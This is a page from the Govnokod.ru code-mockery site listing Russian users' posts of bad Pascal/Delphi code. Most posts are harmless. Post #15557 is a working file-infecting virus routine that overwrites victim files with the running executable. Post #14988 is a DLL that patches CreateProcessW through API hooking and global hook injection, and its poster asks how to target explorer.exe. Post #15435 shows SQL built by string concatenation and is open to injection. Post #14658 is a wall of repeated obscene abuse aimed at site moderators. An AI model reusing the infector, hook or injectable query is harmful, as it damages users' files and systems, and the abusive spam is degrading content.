Pascal — Говнокод.ру

Pascal / Говнокод #15557

+89

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

procedure infect(victim:string);
var
a:integer;

Buf: array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+inttostr(a)) ;
filemode :=0;
assignfile(f2,paramstr(0));
reset(f2,1) ;
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2 ;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2, Buf,virsize, NR);
BlockWrite(f1, Buf, NR, NW);
until (NR = 0) or (NW <> NR);
closefile(f1);
closefile(f2);
deletefile(pchar('bad'+inttostr(a)))
except
end;
end;

Ксакеп, нуфф сказал.
http://www.xakep.ru/post/23374/

gost, 23 Марта 2014

Комментарии (118)

Pascal / Говнокод #15499

+101

1
2
3
4
5
6
7

function GetBit(numBit,Val: integer):boolean;
var
  i: integer;
begin
  i := round(power(2,numBit-1));
  result := (i and Val) >0;
end;

Суровые и беспощадные битовые операции в дельфи. Причем коллега, у которого я это нашел неплохие программы пишет, во всяком случае по части удобства интерфейса мне до него далеко. Но иногда такие перлы встречаются.

kipar, 17 Марта 2014

Комментарии (15)

Pascal / Говнокод #15488

+87

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

delim:=0;
result:='';
resulttemp:='';
otv1:=trunc(rez);
ott2:=rez-otv1;
while otv1>=s1 do
begin
	delim:=delim+1;
	r1:=otv1 div s1;
	r2:=otv1 mod s1;
	otv1:=r1;		
	if (r2>=0) and (r2<=9) then
		str(r2,resulttemp);			
	if r2=10 then resulttemp:='a';
	if r2=11 then resulttemp:='b';
	if r2=12 then resulttemp:='c';
	if r2=13 then resulttemp:='d';
	if r2=14 then resulttemp:='e';
	if r2=15 then resulttemp:='f';		
	result:=result+resulttemp;
end;	
if (otv1>=0) and (otv1<=9) then
	str(otv1,resulttemp);	
if otv1=10 then resulttemp:='a';
if otv1=11 then resulttemp:='b';
if otv1=12 then resulttemp:='c';
if otv1=13 then resulttemp:='d';
if otv1=14 then resulttemp:='e';
if otv1=15 then resulttemp:='f';	
result:=result+resulttemp;
delim:=length(result);
resulttemp:=result;
for otv1:=1 to delim do
	result[otv1]:=resulttemp[delim+1-otv1];

Перевод числа из десятичной системы счисления в систему счисления с основанием s1

n924, 15 Марта 2014

Комментарии (7)

Pascal / Говнокод #15435

+91

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15

if not DM.For_Akc_Base_Update.InTransaction then
      DM.For_Akc_Base_Update.StartTransaction;
              Close;
              SQL.Clear;
              SQL.Add('insert into Bank (BNAME, full_name, bik, ks, inn, rkc,postind,postcity,postaddr,telef ) values ');
              SQL.Add('('''+edName.Text+''', '''+mFull_Name.Text+''', ');
              SQL.Add(' '''+edBik.Text+''', ');
              SQL.Add(''''+edKS.Text+''', '''+edInn.Text+''', ');
              SQL.Add(''''+edRkc.Text+''', '''+edInd.Text+''', ');
              SQL.Add(''''+edCity.Text+''', '''+edAdr.Text+''', ');
              SQL.Add(''''+edTel.Text+''' )');
              ExecSQL;
              DM.For_Akc_Base_Update.Commit;
                  DM.Bank.Close;
                  DM.Bank.Open;

Принял проект. Начал смотреть. Вот так вот добавляют запись в таблицу. И так по всему проекту.

Vince, 12 Марта 2014

Комментарии (23)

Pascal / Говнокод #14988

+115

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

library ch;
uses
  Windows,SysUtils,controls,graphics,extctrls,shellapi,Unit1 in 'Unit1.pas' {Form1};
type
  NTStatus = cardinal;
  far_jmp = packed record
    push: byte;
    PProc: pointer;
    ret: byte;
  end;
  OldCode = packed record
    one: dword;
    two: dword;
  end;
const
  STATUS_ACCESS_DENIED = NTStatus($C0000022);
  STATUS_SUCCESS = NTStatus($00000000);
function CreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: dword; lpEnvironment: pointer;
  lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  external 'kernel32.dll' name 'CreateProcessW';
var
  CPA: pointer;
  OldCPA: OldCode;
  JmpCPA: far_jmp;
  b:cardinal;

procedure UnHook;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
end;

function FalseCreateProcessW():boolean;
begin
  SetLastError(ERROR_ACCESS_DENIED);
  result:=falsecreateprocessw
end;
function TrueCreateProcessW(lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
  : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
  lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
  const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
  Result := CreateProcessW(lpApplicationName, lpCommandLine,
    lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
    lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
  WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);
end;
 function NewCreateProcessW(lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
  : PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
  lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
  const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): bool; stdcall;
  var
    reason:string;
begin
  result:=true;// подавляем ошибку "Доступ запрещен"
 // если что-то нам не понравилось, выходм
  else
  // или выполняем командную строку 
    Result := TrueCreateProcessW(lpApplicationName, lpCommandLine,
    lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
    lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;
procedure SetHook;
begin
   CPA := GetProcAddress(getmodulehandle('kernel32.dll'), 'CreateProcessW');
   ReadProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
   JmpCPA.push := $68;
   JmpCPA.PProc := @NewCreateProcessW;
   JmpCPA.ret := $C3;
   WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);

end;
function MessageProc(code: integer; wParam: word; lParam: longint)
  : longint; stdcall;
begin
  Result := CallNextHookEx(0, code, wParam, lParam);
end;
procedure SetGlobalHookProc();
begin
  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
  sleep(infinite);
end;
procedure SetGlobalHook();
var
  //hMutex: dword;
  TrId: dword;
begin
    CreateMutex(nil, False, 'Vhook@016');
    if GetLastError = 0 then
    CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, trid)
end;

procedure DLLEntryPoint(dwReason: dword);

begin

  case dwReason of

    DLL_PROCESS_ATTACH:

      begin

        SetHook;

        SetGlobalHook;

      end;

    DLL_PROCESS_DETACH:

      begin

        UnHook;

      end;

  end;

end;

begin

  DllProc := @DLLEntryPoint;

  DLLEntryPoint(DLL_PROCESS_ATTACH);

end.

Товарищи, как можно поправить этот код, чтобы библиотека подгружалась только к процессу "explorer.exe" и патчила в его памяти CreateProcessW?

Stertor, 26 Февраля 2014

Комментарии (16)

Pascal / Говнокод #14674

+92

01
02
03
04
05
06
07
08
09
10
11
12
13
14

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
  with message1 do
  begin
    Subject:='Test subject';
    From := '[email protected]';
    To := '[email protected]';
    Textbody:='Text body';
  [. . .]
    Configuration.Fields.Update;
    Send;
end;

Лососнул тунца.

with message1 do

  begin

    Subject:='Test subject';

    From := '[email protected]';

    To := '[email protected]';

    Textbody:='Text body';

'To' - ключевое слово, смирись, смертный, и забудь о 'with'
p.s. капча сейчас - 4 семерки.

Stertor, 19 Февраля 2014

Комментарии (24)

Pascal / Говнокод #14665

+86

1
2
3

// сделать невидимым кол-во поиск
if Assigned(m_DBGrid) and Assigned(m_DBGrid.DataSource) and Assigned(m_DBGrid.DataSource.DataSet) then
    TblBtnFind.Enabled := (m_DBGrid.DataSource.DataSet.RecordCount<>0);

Petr0vi4, 19 Февраля 2014

Комментарии (1)

Pascal / Говнокод #14658

+142

001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100

ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА
АДМИНИСТРАТОР ВИО ДРОЧИТ НА ДЖАСТИНА БИБИРА ОБМАЗАВШИСЬ ГОВНОМ
МОДЕРАТОРЫ ВИО ЖРУТ ГОВНО АДМИНА ВИО
ХУЙ ПИЗДА ЕБАНАЯ ДЖИГУРДА И СКОВОРОДА

HUYPIZDA, 18 Февраля 2014

Комментарии (0)

Pascal / Говнокод #14616

+91

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

function TDuel.getFieldStr(p1: ansistring; p2: ansistring; p3: ansistring = ''): ansistring;
begin
  Result := '';
  if p1 = 'p1' then begin
    if p2 = 'attack' then begin
      if p3 = '' then Result := p1attack;
      if p3 = '1' then Result := p1attack1;
    end;
    if p2 = 'defend' then begin
      Result := p1defend;
    end;
  end;
  if p1 = 'p2' then begin
    if p2 = 'attack' then begin
      if p3 = '' then Result := p2attack;
      if p3 = '1' then Result := p2attack1;
    end;
    if p2 = 'defend' then begin
      Result := p2defend;
    end;
  end;
end;

function TDuel.getFieldInt(p1: ansistring; p2: ansistring; p3: ansistring = ''): integer;
begin
  if p1 = 'player' then begin
    if p2 = '1' then Result := player1;
    if p2 = '2' then Result := player2;
  end;

  if p1 = 'p' then begin
    if p2 = '1' then begin
      if p3 = 'dmg' then Result := p1dmg;
    end;
    if p2 = '2' then begin
      if p3 = 'dmg' then Result := p2dmg;
    end;
  end;
end;

procedure TDuel.updFieldInt(p1: ansistring; p2: ansistring; value: integer);
begin
  if p1 = 'p1' then begin
    if p2 = 'dmg' then p1dmg := p1dmg + value;
  end;
  if p1 = 'p2' then begin
    if p2 = 'dmg' then p2dmg := p2dmg + value;
  end;
end;

Вот такой шедевр программерской мысли остался в коде сервера браузерки от первых девелоперов. Я так и не распарсил пока, что он делает-)

Cynicrus, 17 Февраля 2014

Комментарии (4)

Pascal / Говнокод #14572

+96

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99

if movcamn[1] then begin
     //
  if movcams[ 2] then begin  if Nmr= 2 then goto m1;
  if movcams[ 3] then begin  if Nmr= 3 then goto m1;
  if movcams[ 4] then begin  if Nmr= 4 then goto m1;
  if movcams[ 5] then begin  if Nmr= 5 then goto m1;
  if movcams[ 6] then begin  if Nmr= 6 then goto m1;
  if movcams[ 7] then begin  if Nmr= 7 then goto m1;
  if movcams[ 8] then begin  if Nmr= 8 then goto m1;
  if movcams[ 9] then begin  if Nmr= 9 then goto m1;
  if movcams[10] then begin  if Nmr=10 then goto m1;
  if movcams[11] then begin  if Nmr=11 then goto m1;
  if movcams[12] then begin  if Nmr=12 then goto m1;
  if movcams[13] then begin  if Nmr=13 then goto m1;
  if movcams[14] then begin  if Nmr=14 then goto m1;
  if movcams[15] then begin  if Nmr=15 then goto m1;
  if movcams[16] then begin  if Nmr=16 then goto m1;
  if movcams[17] then begin  if Nmr=17 then goto m1;
  if movcams[18] then begin  if Nmr=18 then goto m1;
  if movcams[19] then begin  if Nmr=19 then goto m1;
  if movcams[20] then begin  if Nmr=20 then goto m1;

  m1:   Summs1:=0;        movcams[1]:=False;   movcamn[1]:=False;
      movcam[1,1]:=False;  movcam[1,2]:=False;  movcam[1,3]:=False;  movcam[1,4]:=False;

        Summs2:=0;        movcams[2]:=False;   movcamn[2]:=False;
      movcam[2,1]:=False;  movcam[2,2]:=False;  movcam[2,3]:=False;  movcam[2,4]:=False;
      if Nmr=2 then goto m2;  // <---

        Summs3:=0;        movcams[3]:=False;   movcamn[3]:=False;
      movcam[3,1]:=False;  movcam[3,2]:=False;  movcam[3,3]:=False;  movcam[3,4]:=False;
      if Nmr=3 then goto m2;  // <---

        Summs4:=0;         movcams[4]:=False;   movcamn[4]:=False;
      movcam[4,1]:=False;  movcam[4,2]:=False;  movcam[4,3]:=False;  movcam[4,4]:=False;
      if Nmr=4 then goto m2;  // <---

        Summs5:=0;        movcams[5]:=False;   movcamn[5]:=False;
      movcam[5,1]:=False;  movcam[5,2]:=False;  movcam[5,3]:=False;  movcam[5,4]:=False;
      if Nmr=5 then goto m2;  // <---

        Summs6:=0;        movcams[6]:=False;   movcamn[6]:=False;
      movcam[6,1]:=False;  movcam[6,2]:=False;  movcam[6,3]:=False;  movcam[6,4]:=False;
      if Nmr=6 then goto m2;  // <---

        Summs7:=0;        movcams[7]:=False;   movcamn[7]:=False;
      movcam[7,1]:=False;  movcam[7,2]:=False;  movcam[7,3]:=False;  movcam[7,4]:=False;
      if Nmr=7 then goto m2;  // <---

        Summs8:=0;        movcams[8]:=False;   movcamn[8]:=False;
      movcam[8,1]:=False;  movcam[8,2]:=False;  movcam[8,3]:=False;  movcam[8,4]:=False;
      if Nmr=8 then goto m2;  // <---

        Summs9:=0;        movcams[9]:=False;   movcamn[9]:=False;
      movcam[9,1]:=False;  movcam[9,2]:=False;  movcam[9,3]:=False;  movcam[9,4]:=False;
      if Nmr=9 then goto m2;  // <---

             //
        Summs10:=0;        movcams[10]:=False;   movcamn[10]:=False;
      movcam[10,1]:=False;  movcam[10,2]:=False;  movcam[10,3]:=False;  movcam[10,4]:=False;
      if Nmr=10 then goto m2;  // <---

        Summs11:=0;        movcams[11]:=False;   movcamn[11]:=False;
      movcam[11,1]:=False;  movcam[11,2]:=False;  movcam[11,3]:=False;  movcam[10,4]:=False;
      if Nmr=11 then goto m2;  // <---

        Summs12:=0;        movcams[12]:=False;   movcamn[12]:=False;
      movcam[12,1]:=False;  movcam[12,2]:=False;  movcam[12,3]:=False;  movcam[10,4]:=False;
      if Nmr=12 then goto m2;  // <---

        Summs13:=0;        movcams[13]:=False;   movcamn[13]:=False;
      movcam[13,1]:=False;  movcam[13,2]:=False;  movcam[13,3]:=False;  movcam[10,4]:=False;
      if Nmr=13 then goto m2;  // <---

        Summs14:=0;        movcams[14]:=False;   movcamn[14]:=False;
      movcam[14,1]:=False;  movcam[14,2]:=False;  movcam[14,3]:=False;  movcam[10,4]:=False;
      if Nmr=14 then goto m2;  // <---

        Summs15:=0;        movcams[15]:=False;   movcamn[15]:=False;
      movcam[15,1]:=False;  movcam[15,2]:=False;  movcam[15,3]:=False;  movcam[10,4]:=False;
      if Nmr=15 then goto m2;  // <---

        Summs16:=0;        movcams[16]:=False;   movcamn[16]:=False;
      movcam[16,1]:=False;  movcam[16,2]:=False;  movcam[16,3]:=False;  movcam[10,4]:=False;
      if Nmr=16 then goto m2;  // <---

        Summs17:=0;        movcams[17]:=False;   movcamn[17]:=False;
      movcam[17,1]:=False;  movcam[17,2]:=False;  movcam[17,3]:=False;  movcam[10,4]:=False;
      if Nmr=17 then goto m2;  // <---

        Summs18:=0;        movcams[18]:=False;   movcamn[18]:=False;
      movcam[18,1]:=False;  movcam[18,2]:=False;  movcam[18,3]:=False;  movcam[10,4]:=False;
      if Nmr=18 then goto m2;  // <---

        Summs19:=0;        movcams[19]:=False;   movcamn[19]:=False;
      movcam[19,1]:=False;  movcam[19,2]:=False;  movcam[19,3]:=False;  movcam[10,4]:=False;
  m2:
  end; end; end; end; end; end; end; end; end; end;   // 20 штук
  end; end; end; end; end; end; end; end; end; end;

Попалось в одном проекте, который приходилось расчищать.
Особенно позабавило заботливое "// 20 штук" в конце.

qb60, 14 Февраля 2014

Комментарии (2)

Говнокод: по колено в коде.